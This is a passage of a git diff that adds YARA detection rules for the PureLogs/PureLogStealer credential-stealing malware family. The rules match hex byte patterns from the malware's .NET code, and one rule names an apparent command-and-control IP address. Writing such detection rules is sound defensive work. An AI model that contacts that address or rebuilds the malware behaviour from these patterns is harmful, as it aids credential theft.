>=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogStealer/Trojan_BAT_Purelogstealer_SOLD_MTB.yar b/Trojan/BAT/PureLogStealer/Trojan_BAT_Purelogstealer_SOLD_MTB.yar new file mode 100644 index 0000000000..f0b3f576b4 --- /dev/null +++ b/Trojan/BAT/PureLogStealer/Trojan_BAT_Purelogstealer_SOLD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Purelogstealer_SOLD_MTB{ + meta: + description = "Trojan:BAT/Purelogstealer.SOLD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {72 61 00 00 70 28 0c 00 00 0a 0a 72 bb 00 00 70 28 0c 00 00 0a 0b 28 0d 00 00 0a 0c 08 06 6f 0e 00 00 0a 08 07 6f 0f 00 00 0a 73 10 00 00 0a 0d 09 08 6f 11 00 00 0a 17 73 12 00 00 0a 13 04 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_AB_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_AB_MTB.yar new file mode 100644 index 0000000000..b9a8ea75fc --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_AB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_AB_MTB{ + meta: + description = "Trojan:BAT/PureLogs.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7e 72 00 00 04 20 17 40 9b c0 20 a5 ee 07 95 61 20 60 7d 1a 23 61 7d 78 00 00 04 20 40 00 00 00 38 8c ec ff ff } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_AC_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_AC_MTB.yar new file mode 100644 index 0000000000..bb835e016b --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_AC_MTB{ + meta: + description = "Trojan:BAT/PureLogs.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7e 29 03 00 04 20 4d a0 de 9b 20 ad eb 60 bd 58 20 fa 8b 3f 59 61 7d 2b 03 00 04 20 2f 00 00 00 fe 0e 00 00 38 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAA_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAA_MTB.yar new file mode 100644 index 0000000000..0136e53aa6 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_BAA_MTB{ + meta: + description = "Trojan:BAT/PureLogs.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {02 73 14 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 1b 00 00 0a 13 05 38 00 00 00 00 00 73 0b 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 ?? ?? 00 00 0a 38 00 00 00 00 11 06 ?? ?? 00 00 0a 13 07 38 00 00 00 00 dd 55 ff ff ff 11 06 39 11 00 00 00 38 00 00 00 00 11 06 ?? ?? 00 00 0a 38 00 00 00 00 dc } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAB_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAB_MTB.yar new file mode 100644 index 0000000000..1d4aac5e0a --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_BAB_MTB{ + meta: + description = "Trojan:BAT/PureLogs.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {02 73 07 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 08 00 00 0a 13 05 38 00 00 00 00 00 73 09 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 ?? ?? 00 00 0a 38 00 00 00 00 11 06 ?? ?? 00 00 0a 13 07 38 00 00 00 00 dd 82 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAC_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAC_MTB.yar new file mode 100644 index 0000000000..1e680f8316 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_BAC_MTB{ + meta: + description = "Trojan:BAT/PureLogs.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {73 0b 00 00 0a 7a 11 00 16 73 0d 00 00 0a 13 04 38 00 00 00 00 00 20 00 10 00 00 8d 0d 00 00 01 13 05 38 2d 00 00 00 11 04 11 05 16 11 05 8e 69 ?? ?? 00 00 0a 25 13 06 16 3d 05 00 00 00 38 1b 00 00 00 11 01 11 05 16 11 06 ?? ?? 00 00 0a 38 d3 ff ff ff 38 ce ff ff ff 38 e5 ff ff ff dd 41 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAD_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAD_MTB.yar new file mode 100644 index 0000000000..53bbb6add0 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_BAD_MTB{ + meta: + description = "Trojan:BAT/PureLogs.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {38 d6 ff ff ff 00 02 ?? ?? 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 ?? ?? 00 00 0a 13 05 38 00 00 00 00 00 ?? ?? 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 ?? ?? 00 00 0a 38 00 00 00 00 11 06 ?? ?? 00 00 0a 13 07 38 00 00 00 00 dd 9d 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAE_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAE_MTB.yar new file mode 100644 index 0000000000..54b1926388 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_BAE_MTB{ + meta: + description = "Trojan:BAT/PureLogs.BAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {02 73 13 00 00 0a 13 04 38 00 00 00 00 00 11 04 11 03 16 73 1a 00 00 0a 13 05 38 00 00 00 00 00 73 0a 00 00 0a 13 06 38 00 00 00 00 00 11 05 11 06 ?? ?? 00 00 0a 38 00 00 00 00 11 06 ?? ?? 00 00 0a 13 07 38 00 00 00 00 dd 66 ff ff ff 11 06 39 11 00 00 00 38 00 00 00 00 11 06 ?? ?? 00 00 0a 38 00 00 00 00 dc } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAG_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAG_MTB.yar new file mode 100644 index 0000000000..15ec86c0ef --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_BAG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_BAG_MTB{ + meta: + description = "Trojan:BAT/PureLogs.BAG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {06 07 06 07 93 03 61 d1 9d 06 07 06 07 93 03 07 58 61 d1 9d 07 17 58 0b 07 06 8e 69 32 e2 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_GVA_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_GVA_MTB.yar new file mode 100644 index 0000000000..113a683253 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogs_GVA_MTB{ + meta: + description = "Trojan:BAT/PureLogs.GVA!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {3a 00 2f 00 2f 00 31 00 34 00 34 00 2e 00 31 00 37 00 32 00 2e 00 31 00 32 00 32 00 2e 00 36 00 39 00 } //2 ://144.172.122.69 + $a_01_1 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 6b 00 65 00 79 00 } //1 encryption key + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SA_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SA_MTB.yar new file mode 100644 index 0000000000..4d2ffcdab0 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SA_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 2d 00 00 0a 25 6f 2e 00 00 0a 72 51 01 00 70 72 67 01 00 70 6f 2f 00 00 0a 25 72 52 02 00 70 6f 30 00 00 0a 0a 6f 31 00 00 0a dd 09 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SB_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SB_MTB.yar new file mode 100644 index 0000000000..f700bceefa --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SB_MTB.yar @@ -0,0 +1,21 @@ + +rule Trojan_BAT_PureLogs_SB_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {28 0c 00 00 06 13 04 11 04 73 05 00 00 0a 13 05 11 05 08 16 73 06 00 00 0a 13 06 11 06 09 6f 07 00 00 0a 09 13 07 dd 3c 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} +rule Trojan_BAT_PureLogs_SB_MTB_2{ + meta: + description = "Trojan:BAT/PureLogs.SB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 01 11 05 16 11 06 6f 0d 00 00 0a 38 0a 00 00 00 38 05 00 00 00 38 e5 ff ff ff 11 04 11 05 16 11 05 8e 69 6f 0e 00 00 0a 25 13 06 16 3d ce ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SC_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SC_MTB.yar new file mode 100644 index 0000000000..4b2dae2ab1 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SC_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {7e 01 00 00 04 6f 05 00 00 0a 0a 38 0c 00 00 00 12 00 28 06 00 00 0a 6f 0c 00 00 06 12 00 28 07 00 00 0a 2d eb dd 0e 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SP_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SP_MTB.yar new file mode 100644 index 0000000000..3670675f2c --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SP_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 05 09 11 04 11 05 08 11 05 59 6f 12 00 00 0a 58 13 05 11 05 08 32 e8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SQ_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SQ_MTB.yar new file mode 100644 index 0000000000..8021433e05 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SQ_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 08 02 08 91 03 08 07 5d 6f 0b 00 00 0a 61 d2 9c 08 17 58 0c 08 02 8e 69 32 e5 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SR_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SR_MTB.yar new file mode 100644 index 0000000000..b3867662f8 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SR_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {00 28 0c 00 00 06 0a dd 0e 00 00 00 26 dd 00 00 00 00 08 17 58 0c 08 07 32 e6 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SS_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SS_MTB.yar new file mode 100644 index 0000000000..8e377a9425 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SS_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SS_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {28 0c 00 00 06 0a dd 18 00 00 00 26 20 88 13 00 00 28 0f 00 00 0a dd 00 00 00 00 08 17 58 0c 08 07 32 dc } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ST_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ST_MTB.yar new file mode 100644 index 0000000000..95dd962ad9 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ST_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_ST_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {06 3a 1a 00 00 00 73 04 00 00 0a 72 01 00 00 70 73 05 00 00 0a 28 06 00 00 0a 6f 07 00 00 0a 0a 06 39 0a 00 00 00 06 16 06 8e 69 28 08 00 00 0a dd 13 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SU_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SU_MTB.yar new file mode 100644 index 0000000000..e130f9a663 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SU_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {12 00 28 0b 00 00 0a 0b 0f 02 28 0c 00 00 0a 39 07 00 00 00 16 0c dd 33 00 00 00 07 03 04 05 6f 03 00 00 06 3a 07 00 00 00 16 0c dd 1e 00 00 00 12 00 28 0d 00 00 0a 2d c7 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SV_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SV_MTB.yar new file mode 100644 index 0000000000..a5cd4c6f9e --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SV_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 05 00 00 0a 72 01 00 00 70 73 06 00 00 0a 28 07 00 00 0a 6f 08 00 00 0a 0a 06 39 0a 00 00 00 06 16 06 8e 69 28 09 00 00 0a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SW_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SW_MTB.yar new file mode 100644 index 0000000000..94e7abd235 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SW_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {38 0c 00 00 00 12 00 28 06 00 00 0a 6f 0a 00 00 06 12 00 28 07 00 00 0a 2d eb dd 0e 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SX_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SX_MTB.yar new file mode 100644 index 0000000000..8715016f0f --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SX_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {11 04 11 05 16 11 05 8e 69 6f 0f 00 00 0a 25 13 06 16 3d 0f 00 00 00 38 1b 00 00 00 38 df ff ff ff 38 00 00 00 00 11 01 11 05 16 11 06 6f 10 00 00 0a 38 c9 ff ff ff } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SY_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SY_MTB.yar new file mode 100644 index 0000000000..9b574aea4e --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SY_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 2d 00 00 0a 25 6f 2e 00 00 0a 72 51 01 00 70 72 67 01 00 70 6f 2f 00 00 0a 25 72 5e 02 00 70 6f 30 00 00 0a 0a 6f 31 00 00 0a dd 09 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SZ_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SZ_MTB.yar new file mode 100644 index 0000000000..b21147bce7 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_SZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_PureLogs_SZ_MTB{ + meta: + description = "Trojan:BAT/PureLogs.SZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 2d 00 00 0a 25 6f 2e 00 00 0a 72 51 01 00 70 72 67 01 00 70 6f 2f 00 00 0a 25 72 06 02 00 70 6f 30 00 00 0a 0a 6f 31 00 00 0a dd 09 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZCQ_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZCQ_MTB.yar new file mode 100644 index 0000000000..bb427ca931 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZCQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogs_ZCQ_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZCQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {7a 11 02 16 28 ?? 00 00 0a 13 03 38 ?? ff ff ff 73 ?? 00 00 0a 7a 11 00 16 73 ?? 00 00 0a 13 04 38 ?? ff ff ff 11 01 6f ?? 00 00 0a 25 8e 69 11 03 3b ?? 00 00 00 73 ?? 00 00 0a 7a 13 07 38 ?? 00 00 00 dd } //6 + $a_03_1 = {11 01 11 05 16 11 06 6f ?? 00 00 0a 38 ?? 00 00 00 38 ?? 00 00 00 38 e5 ff ff ff 11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZDU_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZDU_MTB.yar new file mode 100644 index 0000000000..fee805e685 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZDU_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogs_ZDU_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZDU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {2b 37 2b 39 15 2d 39 26 26 2b 3c 2b 3e 2b 3f 11 04 6f ?? 00 00 0a 13 05 72 13 01 00 70 13 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 13 07 11 07 03 11 06 28 ?? 00 00 06 de 28 11 04 2b c5 08 2b c4 6f ?? 00 00 0a 2b c2 11 04 2b c0 09 2b bf 6f ?? 00 00 0a 2b ba } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZDV_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZDV_MTB.yar new file mode 100644 index 0000000000..ef1bb0cc46 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZDV_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_PureLogs_ZDV_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZDV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_03_0 = {16 0b de 73 20 cc 56 00 00 28 ?? 00 00 06 28 ?? 00 00 0a 0c 20 b6 54 00 00 28 ?? 00 00 06 28 ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 08 6f ?? 00 00 0a 11 04 09 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 05 03 20 a3 54 00 00 28 ?? 00 00 06 11 05 06 16 06 8e 69 6f ?? 00 00 0a 6f ?? 00 00 06 de 0c } //10 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZIQ_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZIQ_MTB.yar new file mode 100644 index 0000000000..840cbb59d6 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZIQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogs_ZIQ_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZIQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {11 02 16 28 ?? 00 00 0a 13 03 38 ?? 00 00 00 11 00 11 02 16 1a 6f ?? 00 00 0a 1a 3b e0 } //6 + $a_03_1 = {11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d ?? 00 00 00 38 ?? 00 00 00 11 01 11 05 16 11 06 6f ?? 00 00 0a 38 d3 } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZQQ_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZQQ_MTB.yar new file mode 100644 index 0000000000..f7ffb57118 --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZQQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogs_ZQQ_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZQQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {7a 11 02 16 28 ?? 00 00 0a 13 03 38 ?? ff ff ff 11 01 6f ?? 00 00 0a 25 8e 69 11 03 3b ?? 00 00 00 73 ?? 00 00 0a 7a 13 07 } //5 + $a_03_1 = {11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 06 16 3d ?? 00 00 00 38 ?? 00 00 00 38 ?? ff ff ff 38 ?? 00 00 00 11 01 11 05 16 11 06 6f ?? 00 00 0a 38 c9 } //6 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*6) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZUQ_MTB.yar b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZUQ_MTB.yar new file mode 100644 index 0000000000..bccb4a168e --- /dev/null +++ b/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZUQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_PureLogs_ZUQ_MTB{ + meta: + description = "Trojan:BAT/PureLogs.ZUQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {7a 11 02 16 28 ?? 00 00 0a 13 03 38 ?? 00 00 00 00 20 00 10 00 00 8d ?? 00 00 01 13 05 38 ?? 00 00 00 fe 0c 06 00 45 01 00 00 00 3a 00 00 00 38 ?? 00 00 00 38 ?? 00 00 00 38 ?? 00 00 00 11 01 11 05 } //6 + $a_03_1 = {16 11 09 6f ?? 00 00 0a 20 00 00 00 00 7e ?? 00 00 04 7b ?? 00 00 04 3a ?? ff ff ff 26 20 00 00 00 00 38 ?? ff ff ff 11 0a 11 05 16 11 05 8e 69 6f ?? 00 00 0a 25 13 09 16 3d ?? ff ff ff 38 00 00 00 00 dd } //5 + condition: + ((#a_03_0 & 1)*6+(#a_03_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/BAT/PureLogs/Trojan_BAT_PureLogs_ZXY_MTB.yar 